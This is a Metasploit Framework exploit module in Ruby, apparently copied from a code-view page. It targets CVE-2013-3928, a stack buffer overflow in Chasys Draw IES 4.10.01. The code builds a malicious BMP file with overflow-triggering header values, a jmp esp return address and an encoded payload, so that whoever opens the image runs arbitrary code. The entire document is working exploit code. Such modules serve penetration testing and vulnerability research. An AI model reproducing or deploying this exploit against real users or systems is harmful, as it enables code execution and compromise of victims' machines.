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modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::FILEFORMAT | ||
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def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Chasys Draw IES Buffer Overflow", | ||
'Description' => %q{ | ||
This module exploits a buffer overflow vulnerability found in Chasys Draw IES | ||
(version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while | ||
parsing BMP files, where the ReadFile function is used to store user provided data | ||
on the stack in a insecure way. It results in arbitrary code execution under the | ||
context of the user viewing a specially crafted BMP file. This module has been | ||
tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7 | ||
SP1. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Christopher Gabriel', # Vulnerability Discovery | ||
'Longinos Recuero Bustos', # PoC | ||
'Javier \'soez\'', # PoC | ||
'juan vazquez' # Metasploit | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-3928' ], | ||
[ 'BID', '61463' ], | ||
[ 'URL', 'http://secunia.com/advisories/53773/' ], | ||
[ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ] | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger | ||
'DisableNops' => true | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1', | ||
{ | ||
'Offset' => 65536, | ||
'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0 | ||
} | ||
], | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "Jul 26 2013", | ||
'DefaultTarget' => 0)) | ||
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register_options( | ||
[ | ||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']), | ||
], self.class) | ||
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end | ||
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def exploit | ||
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bof = rand_text(target['Offset']) | ||
bof << [target.ret].pack("V") | ||
bof << payload.encoded | ||
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bitmap_header = "" | ||
bitmap_header << [0x28].pack("V") # HeaderSize | ||
bitmap_header << [0x4a3].pack("V") # Width # Used to trigger the overflow | ||
bitmap_header << [0x1].pack("V") # Height | ||
bitmap_header << [0x9].pack("v") # Planes # Used to trigger the overflow | ||
bitmap_header << [0x41].pack("v") # BitCount # Used to trigger the overflow | ||
bitmap_header << [0x0].pack("V") # Compression | ||
bitmap_header << [bof.length].pack("V") # SizeImage | ||
bitmap_header << [0x0].pack("V") # PelsPerMeterX | ||
bitmap_header << [0x0].pack("V") # PelsPerMeterY | ||
bitmap_header << [0x0].pack("V") # ClrUse | ||
bitmap_header << [0x0].pack("V") # ClrImportant | ||
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total_size = bof.length + bitmap_header.length + 14 # 14 => file header length | ||
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file_header = "" | ||
file_header << "BM" # Signature | ||
file_header << [total_size].pack("V") # Size | ||
file_header << [0].pack("V") # Reserved | ||
file_header << [0x36].pack("V") # BitsOffsets | ||
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bmp = file_header + bitmap_header + bof | ||
file_create(bmp) | ||
end | ||
end | ||
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